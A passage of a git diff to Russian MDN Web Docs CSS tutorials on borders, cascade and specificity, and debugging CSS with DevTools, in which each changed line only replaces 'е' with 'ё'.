стилем, шириной и цветом границы, чтобы увидеть, как они работают.</strong></p> +<p><strong>Есть множество стилей, которые вы можете использовать для границ. В приведённом ниже примере мы использовали <span class="tlid-translation translation" lang="ru"><span title="">разные стили границ для четырёх сторон моего блока</span></span>. Поиграйте со стилем, шириной и цветом границы, чтобы увидеть, как они работают.</strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/borders.html", '100%', 640)}}</p> @@ -285,12 +285,12 @@ background-position: 10px 20px, top right;</pre> <h2 id="Упражнение_с_границами_и_фоном">Упражнение с границами и фоном</h2> -<p>Чтобы проверить свои новые знания, попробуйте создать следующее, используя фон и границы, используя приведенный ниже пример в качестве отправной точки:</p> +<p>Чтобы проверить свои новые знания, попробуйте создать следующее, используя фон и границы, используя приведённый ниже пример в качестве отправной точки:</p> <ol> - <li>Задайте рамку равную 5px black solid, с закругленными углами 10px.</li> + <li>Задайте рамку равную 5px black solid, с закруглёнными углами 10px.</li> <li>Добавить фоновое изображение (используйте URL <code>balloons.jpg</code>) и установите размер таким образом, чтобы он покрыл весь блок.</li> - <li>Задайте для <code><h2></code> полупрозрачный черный цвет фона и сделайте текст белым.</li> + <li>Задайте для <code><h2></code> полупрозрачный чёрный цвет фона и сделайте текст белым.</li> </ol> <p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/task.html", '100%', 555)}} </p> diff --git a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html index b1adc206f7..dd8cf674a5 100644 --- a/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html +++ b/files/ru/learn/css/building_blocks/cascade_and_inheritance/index.html @@ -35,7 +35,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <p>CSS (Cascading Style Sheets) означает Каскадные Таблицы Стилей и первое слово <em>"каскадные" </em>является невероятно важным для понимания: то, как ведёт себя каскад — ключевой момент в понимании CSS.</p> -<p>В какой-то момент, работая над проектом, вы обнаружите, что CSS, который, по-вашему, должен быть применен к элементу, не работает. Обычно проблема заключается в том, что вы создали два правила, которые могут потенциально применяться к одному и тому же элементу. <strong>Каскад</strong> и тесно связанная концепция <strong>специфичности</strong> <span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>— </span> это механизмы, которые контролируют, какое именно правило применяется, когда имеется такой конфликт. Стиль вашего элемента может определять не то правило, на которое вы рассчитывали, поэтому вам необходимо понимать, как работают эти механизмы.</p> +<p>В какой-то момент, работая над проектом, вы обнаружите, что CSS, который, по-вашему, должен быть применён к элементу, не работает. Обычно проблема заключается в том, что вы создали два правила, которые могут потенциально применяться к одному и тому же элементу. <strong>Каскад</strong> и тесно связанная концепция <strong>специфичности</strong> <span style='font-family: "Times New Roman",serif; font-size: 12.0pt; line-height: 200%;'>— </span> это механизмы, которые контролируют, какое именно правило применяется, когда имеется такой конфликт. Стиль вашего элемента может определять не то правило, на которое вы рассчитывали, поэтому вам необходимо понимать, как работают эти механизмы.</p> <p>Также значимой является концепция <strong>наследования, </strong>которая заключается в том, что некоторые свойства CSS наследуют по умолчанию значения, установленные для родительского элемента текущего элемента, а некоторые не наследуют. Это также может стать причиной поведения, которое вы, возможно, не ожидаете.</p> @@ -45,7 +45,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <p>Каскад таблицы стилей, если говорить упрощённо, означает, что порядок следования правил в CSS имеет значение; когда применимы два правила, имеющие одинаковую специфичность, используется то, которое идёт в CSS последним.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">В приведенном ниже примере у нас есть два правила, которые могут применяться к h1. В результате </span><span title="">h1 окрасится синим цветом </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> эти правила имеют идентичный селектор и, следовательно, одинаковую специфичность, поэтому побеждает последний в порядке следования.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В приведённом ниже примере у нас есть два правила, которые могут применяться к h1. В результате </span><span title="">h1 окрасится синим цветом </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> эти правила имеют идентичный селектор и, следовательно, одинаковую специфичность, поэтому побеждает последний в порядке следования.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/learn/cascade/cascade-simple.html", '100%', 400)}} </p> @@ -127,7 +127,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <ol> <li>Второй элемент списка имеет класс <code>my-class-1</code>. Таким образом, цвет для следующего вложенного элемента <code>a</code> устанавливается по наследству. Как изменится цвет, если это правило будет удалено?</li> - <li>Понятно ли, почему третий и четвертый элементы <code>a</code> имеют именно такой цвет? Если нет, перечитайте описание значений, представленное выше.</li> + <li>Понятно ли, почему третий и четвёртый элементы <code>a</code> имеют именно такой цвет? Если нет, перечитайте описание значений, представленное выше.</li> <li>Какая из ссылок изменит цвет, если вы зададите новый цвет для элемента <code><a></code> — например: <code>a { color: red; }</code>?</li> </ol> @@ -135,7 +135,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <h3 id="Возврат_всех_исходных_значений_свойств">Возврат всех исходных значений свойств</h3> -<p>Стенографическое свойство CSS <code>all</code> можно использовать для того, чтобы присвоить одно из значений наследования к (почти) всем свойствам одновременно. Это одно из четырех значений (<code>inherit</code>, <code>initial</code>, <code>unset</code>, или <code>revert</code>). Это удобный способ для отмены изменений, внесённых в стили, для того, чтобы вы могли вернуться к стартовой точке перед внесением новых изменений.</p> +<p>Стенографическое свойство CSS <code>all</code> можно использовать для того, чтобы присвоить одно из значений наследования к (почти) всем свойствам одновременно. Это одно из четырёх значений (<code>inherit</code>, <code>initial</code>, <code>unset</code>, или <code>revert</code>). Это удобный способ для отмены изменений, внесённых в стили, для того, чтобы вы могли вернуться к стартовой точке перед внесением новых изменений.</p> <p>В примере ниже имеются два блока <code><blockquote></code>. Первый имеет стиль, который применён к самому элементу <code>blockquote</code>, второй имеет класс <code>fix-this</code>, который устанавливает значение <code>all</code> в <code>unset</code>.</p> @@ -159,23 +159,23 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <h3 id="Порядок_следования">Порядок следования</h3> -<p>Мы уже видели, какое значение для каскада имеет порядок следования. Если у вас несколько правил, которые имеют одинаковую важность, то побеждает правило, которое идет последним в CSS. Другими словами, правила, более близкие к самому элементу, переписывают более ранние, пока последнее не победит, оно и стилизует элемент. </p> +<p>Мы уже видели, какое значение для каскада имеет порядок следования. Если у вас несколько правил, которые имеют одинаковую важность, то побеждает правило, которое идёт последним в CSS. Другими словами, правила, более близкие к самому элементу, переписывают более ранние, пока последнее не победит, оно и стилизует элемент. </p> <h3 id="Специфичность_2">Специфичность</h3> <p><span class="tlid-translation translation" lang="ru"><span title="">Понимая, что порядок следования правил имеет значение, в какой-то момент вы окажетесь в ситуации, когда вы знаете, что правило появляется позже в таблице стилей, но применяется более раннее, конфликтующее правило.</span> <span title="">Это связано с тем, что более раннее правило имеет более <strong>высокую специфичность</strong> </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> оно более специфично и поэтому выбирается браузером как правило, которое должно стилизовать элемент.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Как мы видели ранее в этом уроке, селектор класса имеет больший вес, чем селектор элемента, поэтому свойства, определенные в классе, будут переопределять свойства, примененные непосредственно к элементу.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Как мы видели ранее в этом уроке, селектор класса имеет больший вес, чем селектор элемента, поэтому свойства, определённые в классе, будут переопределять свойства, применённые непосредственно к элементу.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Здесь следует отметить, что, хотя мы думаем о селекторах и правилах, применяемых к объекту, который они выбирают, переписывается не всё правило, а только свойства, которые являются одинаковыми.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Такое поведение помогает избежать повторения в вашем CSS.</span> <span title="">Обычной практикой является определение общих стилей для базовых элементов, а затем создание классов для тех, которые отличаются.</span> <span title="">Например, в таблице стилей ниже мы определяем общие стили для заголовков второго уровня, а затем создаём несколько классов, которые изменяют только некоторые свойства и значения.</span> <span title="">Определенные вначале значения применяются ко всем заголовкам, затем к заголовкам с классами применяются более конкретные значения.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Такое поведение помогает избежать повторения в вашем CSS.</span> <span title="">Обычной практикой является определение общих стилей для базовых элементов, а затем создание классов для тех, которые отличаются.</span> <span title="">Например, в таблице стилей ниже мы определяем общие стили для заголовков второго уровня, а затем создаём несколько классов, которые изменяют только некоторые свойства и значения.</span> <span title="">Определённые вначале значения применяются ко всем заголовкам, затем к заголовкам с классами применяются более конкретные значения.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/learn/cascade/mixing-rules.html", '100%', 700)}} </p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте теперь посмотрим, как браузер будет вычислять специфичность.</span> <span title="">Мы уже знаем, что селектор элемента имеет низкую специфичность и может быть перезаписан классом.</span> <span title="">По существу, значение в баллах присуждается различным типам селекторов, и их сложение дает вам вес этого конкретного селектора, который затем может быть оценён в сравнении с другими потенциальными соперниками.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте теперь посмотрим, как браузер будет вычислять специфичность.</span> <span title="">Мы уже знаем, что селектор элемента имеет низкую специфичность и может быть перезаписан классом.</span> <span title="">По существу, значение в баллах присуждается различным типам селекторов, и их сложение даёт вам вес этого конкретного селектора, который затем может быть оценён в сравнении с другими потенциальными соперниками.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Степень специфичности, которой обладает селектор, измеряется с использованием четырех различных значений (или компонентов), которые можно представить как тысячи, сотни, десятки и единицы </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> четыре однозначные цифры в четырех столбцах:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Степень специфичности, которой обладает селектор, измеряется с использованием четырёх различных значений (или компонентов), которые можно представить как тысячи, сотни, десятки и единицы </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> четыре однозначные цифры в четырёх столбцах:</span></span></p> <ol> <li><strong>Тысячи</strong>: поставьте единицу в эту колонку, если объявление стиля находится внутри атрибута {{htmlattrxref("style")}} (встроенные стили). Такие объявления не имеют селекторов, поэтому их специфичность всегда просто 1000.</li> @@ -253,7 +253,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <ul> <li><span class="tlid-translation translation" lang="ru"><span title="">Первые два правила конкурируют за стилизацию цвета фона ссылки </span></span> — <span class="tlid-translation translation" lang="ru"><span title=""> второе выигрывает и делает фоновый цвет синим, потому что у него есть дополнительный селектор ID в цепочке: его специфичность 201 против 101.</span></span></li> - <li><span class="tlid-translation translation" lang="ru"><span title="">Третье и четвертое правило конкурируют за стилизацию цвета текста ссылки </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> второе выигрывает и делает текст белым, потому что, хотя у него на один селектор элемента меньше, отсутствующий селектор заменяется на селектор класса, который оценивается в десять вместо единицы</span><span title="">.</span> <span title="">Таким образом, приоритетная специфичность составляет 113 против 104.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Третье и четвёртое правило конкурируют за стилизацию цвета текста ссылки </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> второе выигрывает и делает текст белым, потому что, хотя у него на один селектор элемента меньше, отсутствующий селектор заменяется на селектор класса, который оценивается в десять вместо единицы</span><span title="">.</span> <span title="">Таким образом, приоритетная специфичность составляет 113 против 104.</span></span></li> <li><span class="tlid-translation translation" lang="ru"><span title="">Правила 5–7 соревнуются за определение стиля границы ссылки при наведении курсора.</span> <span title="">Шестой селектор со специфичностью 23 явно проигрывает пятому со специфичностью 24 </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> у него в цепочке на один селектор элемента меньше.</span> <span title="">Седьмой селектор, однако, превосходит как пятый, так и шестой </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> </span></span><span class="tlid-translation translation" lang="ru"><span title="">он имеет то же количество подселекторов в цепочке, что и пятый, но один элемент заменён селектором класса.</span> <span title="">Таким образом, приоритетная специфичность 33 против 23 и 24.</span></span></li> </ul> @@ -271,12 +271,12 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}} </p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте пройдемся по этому примеру, чтобы увидеть, что происходит </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> попробуйте удалить некоторые свойства, чтобы увидеть, что получится, если вам трудно понять:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Давайте пройдёмся по этому примеру, чтобы увидеть, что происходит </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> попробуйте удалить некоторые свойства, чтобы увидеть, что получится, если вам трудно понять:</span></span></p> <ol> <li>Вы увидите, что применены значения {{cssxref("color")}} и {{cssxref("padding")}} третьего правила, но {{cssxref("background-color")}} — нет. Почему? <span class="tlid-translation translation" lang="ru"><span title="">Действительно, все три безусловно должны применяться, потому что правила, более поздние в порядке следования, обычно переопределяют более ранние правила.</span></span></li> - <li><span class="tlid-translation translation" lang="ru"><span title="">Однако вышеприведенные правила выигрывают, потому что селекторы классов имеют более высокую специфичность, чем селекторы элементов.</span></span></li> - <li>Оба элемента имеют {{htmlattrxref("class")}} с названием <code>better</code>, но у второго также есть {{htmlattrxref("id")}} с названием <code>winning</code>. <span class="tlid-translation translation" lang="ru"><span title="">Поскольку ID имеют <em>ещё более высокую</em> специфичность, чем классы (у вас может быть только один элемент с каждым уникальным ID на странице, но много элементов с одним и тем же классом </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> селекторы ID <em>очень специфичны</em>, на что они и нацелены), красный цвет фона и однопиксельная</span> <span title="">черная граница должны быть применены ко 2-му элементу, причём первый элемент получает серый фоновый цвет и отсутствие границы, как определено классом.</span></span></li> + <li><span class="tlid-translation translation" lang="ru"><span title="">Однако вышеприведённые правила выигрывают, потому что селекторы классов имеют более высокую специфичность, чем селекторы элементов.</span></span></li> + <li>Оба элемента имеют {{htmlattrxref("class")}} с названием <code>better</code>, но у второго также есть {{htmlattrxref("id")}} с названием <code>winning</code>. <span class="tlid-translation translation" lang="ru"><span title="">Поскольку ID имеют <em>ещё более высокую</em> специфичность, чем классы (у вас может быть только один элемент с каждым уникальным ID на странице, но много элементов с одним и тем же классом </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> селекторы ID <em>очень специфичны</em>, на что они и нацелены), красный цвет фона и однопиксельная</span> <span title="">чёрная граница должны быть применены ко 2-му элементу, причём первый элемент получает серый фоновый цвет и отсутствие границы, как определено классом.</span></span></li> <li><span class="tlid-translation translation" lang="ru"><span title="">2-й элемент получил красный цвет фона и отсутствие границы.</span> Почему<span title="">?</span> </span> Из-за объявления <code>!important</code> во втором правиле — размещение которого после <code>border: none</code> <span class="tlid-translation translation" lang="ru"><span title="">означает, что это объявление перевесит значение границы в предыдущем правиле, даже если ID имеет более высокую специфичность.</span></span></li> </ol> @@ -316,7 +316,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance <p><span class="tlid-translation translation" lang="ru"><span title="">Если вы не до конца поняли каскад, специфичность и наследование, не волнуйтесь!</span> <span title="">Это, безусловно, самая сложная вещь из тех, что мы до сих пор изучали в курсе, и даже профессиональные веб-разработчики иногда считают её коварной.</span> <span title="">Мы советуем вам вернуться к этой статье несколько раз в ходе изучения курса и продолжать обдумывать эту тему.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Обратитесь сюда, если вы столкнетесь со странными проблемами, когда стили применяются не так, как вы ожидаете.</span> <span title="">Это может быть проблемой специфичности.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Обратитесь сюда, если вы столкнётесь со странными проблемами, когда стили применяются не так, как вы ожидаете.</span> <span title="">Это может быть проблемой специфичности.</span></span></p> <p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p> diff --git a/files/ru/learn/css/building_blocks/debugging_css/index.html b/files/ru/learn/css/building_blocks/debugging_css/index.html index ceb299bcab..6ba3afd75a 100644 --- a/files/ru/learn/css/building_blocks/debugging_css/index.html +++ b/files/ru/learn/css/building_blocks/debugging_css/index.html @@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS --- <div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div> -<p>Порой, при написании CSS, вы будете сталкиваться с проблемой, при которой будет казаться, что CSS не делает того, чего вы оживаете от него. <span class="tlid-translation translation" lang="ru"><span title="">Возможно, вы считаете, что определенный селектор должен соответствовать элементу, но ничего не происходит, или поле имеет размер, отличный от ожидаемого.</span></span> Эта статья поможет вам с тем, как отладить CSS проблемы и покажет вам как DevTools (инструменты разработчика), включенные во все современные браузеры, могут помочь разобраться с тем, что происходит.</p> +<p>Порой, при написании CSS, вы будете сталкиваться с проблемой, при которой будет казаться, что CSS не делает того, чего вы оживаете от него. <span class="tlid-translation translation" lang="ru"><span title="">Возможно, вы считаете, что определённый селектор должен соответствовать элементу, но ничего не происходит, или поле имеет размер, отличный от ожидаемого.</span></span> Эта статья поможет вам с тем, как отладить CSS проблемы и покажет вам как DevTools (инструменты разработчика), включённые во все современные браузеры, могут помочь разобраться с тем, что происходит.</p> <table class="learn-box standard-table"> <tbody> @@ -24,9 +24,9 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <h2 id="Как_получить_доступ_к_DevTools_браузера">Как получить доступ к DevTools браузера</h2> -<p>Статья <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> это обновленное руководство объясняющее как получить доступ к инструментам разных браузеров и платформ. Хотя вы можете выбрать в основном разрабатывать в конкретном браузере и поэтому инструменты, включенные в этот браузер, будут вам знакомы больше всего, стоит знать, как получать доступ к инструментам и в других браузерах. Это поможет вам если вы наблюдаете разное отображение среди разных браузеров.</p> +<p>Статья <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">What are browser developer tools</a> это обновлённое руководство объясняющее как получить доступ к инструментам разных браузеров и платформ. Хотя вы можете выбрать в основном разрабатывать в конкретном браузере и поэтому инструменты, включённые в этот браузер, будут вам знакомы больше всего, стоит знать, как получать доступ к инструментам и в других браузерах. Это поможет вам если вы наблюдаете разное отображение среди разных браузеров.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Вы также обнаружите, что браузеры фокусировались на различных областях при создании своих DevTools.</span></span> Например в Firefox существует несколько замечательных инструментов для визуальной работы с CSS Layout (разметкой), позволяющих вам проводить инспекцию и править <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>, и <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>. Тем не менее, все другие браузеры имеют схожие фундаментальные инструменты, например для инспекции свойств и значений примененных к элементам на вашей странице и для выполнения изменений к ним в редакторе.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Вы также обнаружите, что браузеры фокусировались на различных областях при создании своих DevTools.</span></span> Например в Firefox существует несколько замечательных инструментов для визуальной работы с CSS Layout (разметкой), позволяющих вам проводить инспекцию и править <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Layouts</a>, <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_Flexbox_layouts">Flexbox</a>, и <a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_shapes">Shapes</a>. Тем не менее, все другие браузеры имеют схожие фундаментальные инструменты, например для инспекции свойств и значений применённых к элементам на вашей странице и для выполнения изменений к ним в редакторе.</p> <p>В этом уроке мы рассмотрим некоторые полезные функции Firefox DevTools для работы с CSS. Для того чтобы сделать это я буду использовать <a href="https://mdn.github.io/css-examples/learn/inspecting/inspecting.html">файл примера</a>. Загрузите его в новой вкладке если хотите следовать и откройте ваш DevTools как описано в статье, ссылка на которую дана выше.</p> @@ -34,55 +34,55 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS <p><span class="tlid-translation translation" lang="ru"><span title="">То, что может сбить с толку новичков в DevTools, </span></span>— <span class="tlid-translation translation" lang="ru"><span title=""> это разница между тем, что вы видите когда</span></span> <a href="/en-US/docs/Tools/View_source">просматриваете источник</a> веб-страницы или смотрите на HTML файл который поместили на сервер и то что вы видите на <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#HTML_pane">HTML панели</a> DevTools. Хотя это выглядит примерно так же, как то, что вы видите через View Source, существуют некоторые отличия.</p> -<p>В визуализированном DOM браузер мог скорректировать некоторый плохо-написанный HTML за вас. Если вы неправильно закрыли элемент, например открывали <code><h2></code>, но закрыли <code></h3></code>, браузер поймет, что вы хотели сделать и HTML в DOM будет правильно закрывать <code><h2></code> с <code></h2></code>. Браузер также нормализует весь HTML,а DOM также покажет любые изменения сделанные через JavaScript.</p> +<p>В визуализированном DOM браузер мог скорректировать некоторый плохо-написанный HTML за вас. Если вы неправильно закрыли элемент, например открывали <code><h2></code>, но закрыли <code></h3></code>, браузер поймёт, что вы хотели сделать и HTML в DOM будет правильно закрывать <code><h2></code> с <code></h2></code>. Браузер также нормализует весь HTML,а DOM также покажет любые изменения сделанные через JavaScript.</p> -<p>View Source же для сравнения — это <span class="tlid-translation translation" lang="ru"><span title="">просто исходный код HTML, хранящийся на сервере. </span></span><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML дерево</a> в вашем DevTools показывает, <span class="tlid-translation translation" lang="ru"><span title="">что именно браузер отображает в любой момент времени, что дает вам представление от том, что действительно происходит.</span></span></p> +<p>View Source же для сравнения — это <span class="tlid-translation translation" lang="ru"><span title="">просто исходный код HTML, хранящийся на сервере. </span></span><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#HTML_tree">HTML дерево</a> в вашем DevTools показывает, <span class="tlid-translation translation" lang="ru"><span title="">что именно браузер отображает в любой момент времени, что даёт вам представление от том, что действительно происходит.</span></span></p> -<h2 id="Инспекция_примененного_CSS">Инспекция примененного CSS</h2> +<h2 id="Инспекция_применённого_CSS">Инспекция применённого CSS</h2> <p>Выбирать элемент на вашей странице можно либо правым/ctrl-кликом по нему и выбрав <em>Inspect</em>, либо выбрав его из дерева HTML в левой панели DevTools. Попробуйте выбрать элемент с классом <code>box1</code>; это первый элемент на странице с блоком, ограниченным рамками вокруг него.</p> <p><img alt="The example page for this tutorial with DevTools open." src="https://mdn.mozillademos.org/files/16606/inspecting1.png" style="border-style: solid; border-width: 1px; height: 1527px; width: 2278px;"></p> -<p>Если вы посмотрите на <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> справа от вашего HTML, вы должны увидеть свойства и значения CSS примененные к элементу. Вы увидите правила, напрямую примененные к классу <code>box1</code> и также CSS который наследуется блоком от предков, в этом случае от <code><body></code>. Это полезно в случае, если вы видите, что применяется какой-либо CSS, который вы не ожидали. Вполне возможно, что он наследуется от родительского элемента и вам необходимо добавить правило, чтобы переписать его в контексте этого элемента.</p> +<p>Если вы посмотрите на <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Rules_view">Rules view</a> справа от вашего HTML, вы должны увидеть свойства и значения CSS применённые к элементу. Вы увидите правила, напрямую применённые к классу <code>box1</code> и также CSS который наследуется блоком от предков, в этом случае от <code><body></code>. Это полезно в случае, если вы видите, что применяется какой-либо CSS, который вы не ожидали. Вполне возможно, что он наследуется от родительского элемента и вам необходимо добавить правило, чтобы переписать его в контексте этого элемента.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Также полезна возможность расширения (развертывания) свойств коротких записей.</span></span> В нашем примере используется короткая запись <code>margin</code>.</p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Также полезна возможность расширения (развёртывания) свойств коротких записей.</span></span> В нашем примере используется короткая запись <code>margin</code>.</p> <p><strong>Кликните по маленькой стрелке для того, чтобы развернуть вид, показывающий полную запись различных свойств и значений.</strong></p> -<p><strong>Вы можете переключать значения в Rules view в положение включено или выключено если эта панель активна — <span class="tlid-translation translation" lang="ru"><span title="">если навести на нее курсор мыши, появятся флажки</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Снимите флажок правила, например, border-radius, и CSS перестанет применяться.</span></span></strong></p> +<p><strong>Вы можете переключать значения в Rules view в положение включено или выключено если эта панель активна — <span class="tlid-translation translation" lang="ru"><span title="">если навести на неё курсор мыши, появятся флажки</span></span>. <span class="tlid-translation translation" lang="ru"><span title="">Снимите флажок правила, например, border-radius, и CSS перестанет применяться.</span></span></strong></p> -<p>Вы можете использовать это чтобы делать сравнения по типу A/B, принимая решение если что-то выглядит лучше с примененным правилом или нет, а также это помогает в отладке — например если layout не в порядке и вы пытаетесь разобраться какое свойство является причиной проблемы.</p> +<p>Вы можете использовать это чтобы делать сравнения по типу A/B, принимая решение если что-то выглядит лучше с применённым правилом или нет, а также это помогает в отладке — например если layout не в порядке и вы пытаетесь разобраться какое свойство является причиной проблемы.</p> <h2 id="Редактирование_значений">Редактирование значений</h2> <p>В дополнение к включению и выключению свойств, вы можете редактировать их значения. Возможно, вам захочется посмотреть будет ли другой цвет выглядеть лучше или захотите настроить размер чего-либо. DevTools поможет вам сэкономить кучу времени редактируя таблицу стиля и перезагружая страницу.</p> -<p><strong>Выбрав <code>box1</code>, кликните на образчик (маленький цветной круг) который показывает цвет, примененный к границе. Откроется панель выбора цвета и сможете попробовать некоторые другие цвета; это действие обновится на странице в режиме реального времени. </strong> <strong><span class="tlid-translation translation" lang="ru"><span title="">Аналогичным образом вы можете изменить ширину или стиль границ.</span></span></strong></p> +<p><strong>Выбрав <code>box1</code>, кликните на образчик (маленький цветной круг) который показывает цвет, применённый к границе. Откроется панель выбора цвета и сможете попробовать некоторые другие цвета; это действие обновится на странице в режиме реального времени. </strong> <strong><span class="tlid-translation translation" lang="ru"><span title="">Аналогичным образом вы можете изменить ширину или стиль границ.</span></span></strong></p> <p><img alt="DevTools Styles Panel with a color picker open." src="https://mdn.mozillademos.org/files/16607/inspecting2-color-picker.png" style="border-style: solid; border-width: 1px; height: 1173px; width: 2275px;"></p> <h2 id="Добавление_нового_свойства">Добавление нового свойства</h2> -<p>Используя DevTools вы можете добавлять новые свойства. Возможно, вы осознали, что не хотите, чтобы ваш блок наследовал размер шрифта элементов <code><body></code>, а хотите установить его собственный конкретный размер. Вы можете попробовать это в DevTools до того, как внесете изменения в ваше CSS файл.</p> +<p>Используя DevTools вы можете добавлять новые свойства. Возможно, вы осознали, что не хотите, чтобы ваш блок наследовал размер шрифта элементов <code><body></code>, а хотите установить его собственный конкретный размер. Вы можете попробовать это в DevTools до того, как внесёте изменения в ваше CSS файл.</p> <p><strong>Вы можете кликнуть по закрывающей фигурной скобке в правиле чтобы начать вводить новое объявление в нем, с этого момента вы можете начинать вводить новое свойство и DevTools покажет список автозаполнения подходящих свойств. Выбрав <code>font-size</code>, вводите значение, которое хотите попробовать. Вы также можете кликнуть на кнопку + чтобы добавить дополнительное правило с тем же селектором и добавить ваши новые правила туда.</strong></p> <p><img alt="The DevTools Panel, adding a new property to the rules, with the autocomplete for font- open" src="https://mdn.mozillademos.org/files/16608/inspecting3-font-size.png" style="border-style: solid; border-width: 1px; height: 956px; width: 2275px;"></p> <div class="blockIndicator note"> -<p><strong>Примечание</strong>: Также существуют другие полезные функции в Rules view, например объявления с не валидными значениями зачеркнуты. Вы можете узнать больше в <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p> +<p><strong>Примечание</strong>: Также существуют другие полезные функции в Rules view, например объявления с не валидными значениями зачёркнуты. Вы можете узнать больше в <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a>.</p> </div> <h2 id="Понимание_модели_блоков">Понимание модели блоков</h2> -<p>В предыдущем уроке мы обсудили <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">модель блоков</a> и <span class="tlid-translation translation" lang="ru"><span title="">тот факт, что у нас есть альтернативная модель блоков, которая изменяет способ расчета размера элементов основываясь на размере который вы им задаете, плюс </span></span>padding и границы. DevTools может действительно помочь вам понять, как вычисляется размер элемента.</p> +<p>В предыдущем уроке мы обсудили <a href="/en-US/docs/Learn/CSS/Building_blocks/The_box_model">модель блоков</a> и <span class="tlid-translation translation" lang="ru"><span title="">тот факт, что у нас есть альтернативная модель блоков, которая изменяет способ расчёта размера элементов основываясь на размере который вы им задаёте, плюс </span></span>padding и границы. DevTools может действительно помочь вам понять, как вычисляется размер элемента.</p> <p><a href="/en-US/docs/Tools/Page_Inspector/UI_Tour#Layout_view">Layout view</a> показывает вам диаграмму блочной модели выбранного элемента, вместе с описанием свойств и значений, которые изменяют способ расположения элемента. Это включает описание свойств, которые вы могли и не использовать напрямую к элементу, но которые имеют набор начальных значений.</p> <p>В этой панели одним из детальных свойств является свойство <code>box-sizing</code>, которое контролирует какую блочную модель использует элемент.</p> -<p><strong>Сравните два блока с классами <code>box1</code> и <code>box2</code>. Они оба имеют одинаковую ширину (400px) примененную к ним, однако <code>box1</code> визуально шире. В layout panel вы можете увидеть, что он использует <code>content-box</code>. Это значение, которое принимает размер, который вы даете элементу и затем добавляет padding </strong><strong>и ширину границ.</strong></p> +<p><strong>Сравните два блока с классами <code>box1</code> и <code>box2</code>. Они оба имеют одинаковую ширину (400px) применённую 